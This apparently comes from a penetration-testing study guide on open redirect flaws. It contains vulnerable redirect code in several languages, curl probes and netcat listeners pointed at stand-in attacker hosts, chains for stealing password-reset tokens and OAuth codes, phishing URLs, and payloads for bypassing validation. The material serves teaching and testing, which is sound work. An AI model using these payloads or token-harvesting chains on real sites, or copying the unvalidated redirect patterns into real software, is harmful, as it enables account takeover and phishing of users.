Open Redirect
An open redirect is a server-side redirection (Location: header) controlled by attacker-supplied input without validation. Two distinct impacts: phishing (legitimate domain bounces victim to attacker domain) and token leakage (the request that follows the redirect carries session, CSRF, or reset tokens to the attacker). The second is the session-attack-relevant one.
# 1. Find the redirect parameterhttp://target/?url=... ?redirect= ?next= ?return= ?goto= ?dest= (~20 common names - full list below)
# 2. Confirm it accepts external URLshttp://target/page?url=http://ATTACKER:1337/nc -nlvp 1337 # listener on attacker
# 3. If POST or follow-up request contains tokens, harvest them# The classic chain: password reset page redirects to attacker's URL# with the reset token in the body or query string
# 4. Phishing variant: send legitimate-looking URL that lands on attacker domainhttp://trusted.com/?redirect=http://trusted.com.evil.com/loginSuccess indicator: a request you didn’t initiate arrives at your listener - and contains a token (session ID, CSRF token, password reset token, OAuth code) you can immediately reuse.
The vulnerability in five lines of PHP
Section titled “The vulnerability in five lines of PHP”<?php$red = $_GET['url'];header("Location: " . $red);?>The Location header tells the browser to navigate to whatever URL is in the response. With no validation on $red, the attacker controls the destination. http://target/redirect.php?url=http://evil.com/ bounces the victim to evil.com.
The same pattern exists in every language:
| Language | Pattern |
|---|---|
| PHP | header("Location: " . $_GET['url']); |
| Java (Servlet) | response.sendRedirect(request.getParameter("url")); |
| .NET | Response.Redirect(Request.QueryString["url"]); |
| Python (Flask) | return redirect(request.args.get('next')) |
| Python (Django) | return HttpResponseRedirect(request.GET.get('next')) |
| Node.js (Express) | res.redirect(req.query.url); |
| Ruby (Rails) | redirect_to params[:return_to] |
All are vulnerable in this naive form. The fix is always “validate the URL”; the typical mistake is “the URL has my domain in it somewhere, so it’s fine.”
Parameter discovery
Section titled “Parameter discovery”Common parameter names, in rough order of frequency:
?url= ?redirect= ?next=?return= ?return_to= ?returnurl=?redirect_uri= ?redirect_to= ?redir=?goto= ?go= ?dest=?destination= ?continue= ?forward=?fromurl= ?fromuri= ?from=?newurl= ?exit= ?exitpage=?out= ?view= ?loc=?location= ?image_url= ?host=?domain= ?callback= ?callback_url=Where to look:
- Login pages -
?next=,?return_to=, common pattern: user lands on/login?next=/protected, after authenticating gets redirected to/protected. Replace/protectedwith attacker URL. - Logout pages -
?redirect=is common (“after logout, go here”) - Password reset confirmation - the reset email’s link often contains
?redirect_uri= - OAuth flows -
?redirect_uri=is core to OAuth; misconfigured validation is a major source of OAuth attacks - Click-tracking URLs - newsletters and marketing emails wrap links in
tracker.target.com/?url=actual-destination - API webhooks -
?callback=parameters in API documentation
# Spider the site and grep for redirect-y parameters in URLsgospider -s "http://target/" -o output/ -t 10 -d 3grep -hoE '\?[a-z_]*=' output/*.txt | sort -u | grep -E 'url|redir|next|return|goto'
# Or from Burp's Target → Site Map → search for any query parameterDetection
Section titled “Detection”Manual probe
Section titled “Manual probe”For each candidate parameter, test with an external URL:
$ curl -is 'http://target/login?next=http://attacker.com/'HTTP/1.1 302 FoundLocation: http://attacker.com/ ← unvalidated; vulnerableIf the response redirects to your URL, it’s exploitable. If it strips the URL, replaces with a default, or returns an error: validated. Common responses:
Location: http://attacker.com/→ vulnerableLocation: /home→ validated, attacker URL discardedLocation: http://target/→ validated, attacker URL replaced400 Bad Request→ validated, request rejected
Active listener
Section titled “Active listener”Set up a listener and trigger the redirect end-to-end:
# Listener$ nc -nlvp 1337
# Trigger (open in a browser as the victim would)$ curl -L 'http://target/login?next=http://YOUR-IP:1337/'The -L makes curl follow redirects. On your listener:
listening on [any] 1337 ...connect to [YOUR-IP] from target.com [TARGET-IP] 54322GET / HTTP/1.1Host: YOUR-IP:1337User-Agent: curl/7.81.0Accept: */*Referer: http://target/login?next=http://YOUR-IP:1337/The Referer reveals the originating URL - useful for proving the redirect actually came from the target.
The token-leak primitive
Section titled “The token-leak primitive”This is the operationally important variant - the redirect carries a token that you wouldn’t otherwise have access to.
Scenario: password reset flow
Section titled “Scenario: password reset flow”A common pattern in password reset:
- User clicks reset link in email:
http://target/reset?token=ABC123&redirect_uri=/complete.html - User enters new password on the reset form
- Form POSTs
token=ABC123&password=newpass&redirect_uri=/complete.htmlto/reset - After successful reset, server redirects to
redirect_uri- the URL trusted from the original link - The Referer header on the followup request contains the reset URL with the token
If the attacker can craft the reset link, they can set redirect_uri to their own URL:
http://target/reset?token=VICTIM_TOKEN&redirect_uri=http://attacker.com/The victim opens the link (thinking it’s a legit reset), enters a new password, submits. The server processes the reset, redirects to http://attacker.com/. The attacker’s server sees:
Referer: http://target/reset?token=VICTIM_TOKEN&...The token is now visible to the attacker. They can replay the reset URL themselves, set a different new password, and take over the account.
But waiting - the victim already used the token, hasn’t it been invalidated? Yes, in well-designed reset flows. But the attacker has other tokens too:
- The post-reset session cookie (now valid for the victim’s account)
- Any anti-CSRF token in the redirect-following request
- OAuth codes in OAuth flows
Scenario: OAuth callback hijacking
Section titled “Scenario: OAuth callback hijacking”The OAuth flow:
- App redirects user to provider (Google, GitHub) with
redirect_uri=http://target/oauth/callback - User authorizes
- Provider redirects back to
redirect_uriwith?code=AUTH_CODE - App exchanges code for access token
If the provider validates redirect_uri loosely and the app has an open redirect on its callback path:
http://provider.com/auth?client_id=X&redirect_uri=http://target/oauth/callback?next=http://attacker.com/Provider sends user to http://target/oauth/callback?next=http://attacker.com/&code=AUTH_CODE. Target’s callback handler processes the code (logs the user in) and redirects to next=http://attacker.com/?code=AUTH_CODE. Attacker now has the auth code.
Variants exist for every step of the OAuth chain. See OAuth-specific writeups for the full taxonomy.
Scenario: HTB-style submit-solution endpoint
Section titled “Scenario: HTB-style submit-solution endpoint”The HTB-style scenario: a /submit-solution?url=... endpoint that, when an admin “submits a solution,” redirects the admin’s browser to the provided URL. Combined with a stored-XSS profile, you can:
- Plant XSS in your profile that doesn’t fire on your own viewing (defenders won’t notice)
- Submit a “solution” with
url=http://your-profile-with-XSS - Admin reviews submissions; clicks through; lands on your profile; XSS fires in admin’s context
- XSS exfils admin’s session cookie
This is the canonical end-to-end chain in the Chaining Final walkthrough.
Phishing chains
Section titled “Phishing chains”The non-token use case: an open redirect on a trusted domain makes phishing links look legitimate:
Phishing email:"Click here to verify your bank account: http://trusted-bank.com/verify?next=http://trusted-bank.com.evil.com/login"Many email-security tools and humans evaluate the URL’s domain at a glance. http://trusted-bank.com/... looks legitimate; the ?next= parameter is overlooked. After the click, the redirect bounces to trusted-bank.com.evil.com which looks similar enough to confuse the victim.
This is why open redirect is taken seriously even when there’s no obvious token at risk - the attack surface is “victim trust in URL inspection,” which is wide.
URL obfuscation tricks
Section titled “URL obfuscation tricks”To make the malicious URL less visible:
http://trusted.com/?next=http%3A%2F%2Fevil.com%2F ← URL-encodedhttp://trusted.com/?next=//evil.com/ ← protocol-relativehttp://trusted.com/?next=https:evil.com ← whitespace in middlehttp://trusted.com/?next=javascript:alert(1) ← javascript: scheme (DOM-based effect)http://trusted.com/?next=data:text/html,<script>... ← data: URIhttp://trusted.com/?next=/\\evil.com/ ← backslash, some parsers OKhttp://trusted.com/?next=//evil%E3%80%82com ← Unicode lookalike for "."Each tests a different validation gap:
| Trick | Bypasses |
|---|---|
| URL encoding | Validation that runs before URL-decoding |
//evil.com | Validation that only blocks http:// and https:// |
https:evil.com | Parsers that interpret loosely |
javascript: | Some apps allow data/javascript schemes |
data: URI | Same |
| Backslash | Some parsers treat \ as / |
| Unicode lookalikes | Validation comparing exact strings |
Validation bypasses
Section titled “Validation bypasses”Common validations and their bypasses:
“Starts with our domain”
Section titled ““Starts with our domain””if url.startswith('http://target.com'): redirect(url)Bypass:
http://target.com.evil.com/- starts withhttp://target.com(note the dot)http://[email protected]/- the@makes target.com the userinfo, evil.com the host
”Contains our domain”
Section titled “”Contains our domain””if 'target.com' in url: redirect(url)Bypass: any URL with target.com in the path / query:
http://evil.com/?fake=target.comhttp://target.com.evil.com/http://eviltarget.com/
”Domain matches a regex”
Section titled “”Domain matches a regex””if re.match(r'^https?://target\.com', url): redirect(url)The regex anchors ^ (start) but not $ (end), so:
http://target.com.evil.com/matches (the regex matches the first 18 chars)
If the regex has $:
if re.match(r'^https?://target\.com$', url): redirect(url)Then the URL has to be exactly http://target.com - no path, no query - which is rarely useful and forces the developer to use a less strict regex.
”Has a trusted domain in the host”
Section titled “”Has a trusted domain in the host””host = urlparse(url).hostnameif host in ALLOWED_HOSTS: redirect(url)Bypass via:
- Subdomain takeover on an allowed host (you control a subdomain registered as allowed)
- Open redirect on an allowed host - chain redirects through
target.com → trusted.com → evil.com
”Strip the protocol, check the path”
Section titled “”Strip the protocol, check the path””# Bad - assumes URL is relativeif url.startswith('/'): redirect(url)Bypass: protocol-relative URLs that start with /:
http://target/redirect?url=//evil.com/The redirect destination is //evil.com/ which the browser interprets as http://evil.com/ (protocol-relative).
Whitelisted-prefix bypass
Section titled “Whitelisted-prefix bypass”ALLOWED_PREFIXES = ['/account', '/dashboard']if any(url.startswith(p) for p in ALLOWED_PREFIXES): redirect(url)Bypass:
/[email protected]/- starts with/accountbut is parsed as URL with useraccountand hostevil.com/account/../../../../evil.com- combined with path-traversal-tolerant downstream code
Worked open-redirect chain
Section titled “Worked open-redirect chain”The HTB scenario: oredirect.htb.net redirects after entering an email. The flow:
- Visit
http://oredirect.htb.net/?redirect_uri=/complete.html&token=ABC123 - Enter email → POST to
/complete.htmlwithtoken=ABC123and form data - After POST, server redirects to
redirect_urivalue
The vulnerability: redirect_uri is the user-controllable destination.
Attack:
# 1. Set up listener$ nc -lvnp 1337listening on [any] 1337 ...
# 2. Set the redirect URI to attacker URL - craft this link:# http://oredirect.htb.net/?redirect_uri=http://YOUR-IP:1337&token=ABC123
# 3. Send to victim (or in test scenario, browse it yourself in a private window)# Victim enters email, submits → POST → redirect chainOn the listener:
connect to [YOUR-IP] from oredirect.htb.net 54322POST / HTTP/1.1Host: YOUR-IP:1337Content-Type: application/x-www-form-urlencodedContent-Length: 32...
[email protected]&token=ABC123The listener catches the full POST - including the token. The redirect causes the browser to re-issue the POST to the new URL. (Browsers handle 307/308 redirects this way; for 301/302 GET-after-POST is the default, but some apps respond with 307.)
Even if the redirect is a GET (302), the token may still be in the URL or Referer:
GET /?token=ABC123 HTTP/1.1Referer: http://oredirect.htb.net/?redirect_uri=http://YOUR-IP:1337&token=ABC123Either way, the token is now in the attacker’s logs.
Defenses
Section titled “Defenses”For the operator’s purposes, knowing the defenses tells you what to test:
| Defense | Bypass to try |
|---|---|
| Whitelist of exact destinations | Find a destination on the whitelist that itself has an open redirect |
Mapped values (?dest=1 → URL from lookup table) | Look for the lookup file/DB to leak more entries |
| Confirm-redirect page | Bypass if the confirm step has its own redirect parameter, or if the page can be skipped via direct URL |
| Origin/Referer check | Strip Referer (via <meta name="referrer" content="no-referrer">) |
| Requires authenticated session | Combine with a forced auth attack |
| HSTS / Strict-Transport-Security | Doesn’t prevent open redirect (protocol-level defense, redirect is application-level) |
The confirm-redirect page is interesting - it’s effective UX-wise (user sees the destination before navigating) but only if the page itself can’t be skipped. Apps that use it sometimes have a “direct redirect” path for trusted referrers; that path is often less defended.
When the redirect status code matters
Section titled “When the redirect status code matters”- 301 Moved Permanently - browsers may cache aggressively; first redirect is the only one tested
- 302 Found - temporary; browsers don’t cache; method downgrade (POST → GET) on redirect
- 303 See Other - like 302 but explicit about method downgrade
- 307 Temporary Redirect - keeps the method (POST stays POST); this is the dangerous one for token leakage
- 308 Permanent Redirect - like 307 but cached
For maximum token leak surface, you want the server to issue 307 or 308 - these preserve POST bodies across the redirect.
Quick reference
Section titled “Quick reference”| Task | Pattern |
|---|---|
| Common parameter names | ?url=, ?next=, ?redirect=, ?return=, ?goto=, ?dest=, ?redirect_uri= |
| Test for external redirect | curl -is 'http://target/?url=http://attacker.com' |
| Confirm via listener | nc -nlvp 1337 and use that URL as the redirect target |
| Capture redirect Referer | Listener prints Referer: header in incoming requests |
| Bypass startsWith check | http://target.com.evil.com/; http://[email protected]/ |
| Bypass contains check | http://evil.com/?fake=target.com |
Bypass // prefix | //evil.com/ (protocol-relative) |
| Bypass with encoded | %2f%2fevil.com%2f |
| Bypass via subdomain | Take over a dangling subdomain in the whitelist |
| Token-leak post-reset | Set reset’s redirect_uri to attacker; capture token in Referer |
| OAuth callback hijack | Set redirect_uri to target’s open redirect → attacker |
| Phishing payload | http://trusted.com/?next=http://trusted.com.evil.com/login |
| Preserve POST across redirect | Need 307/308 response - test by issuing POST + Location: |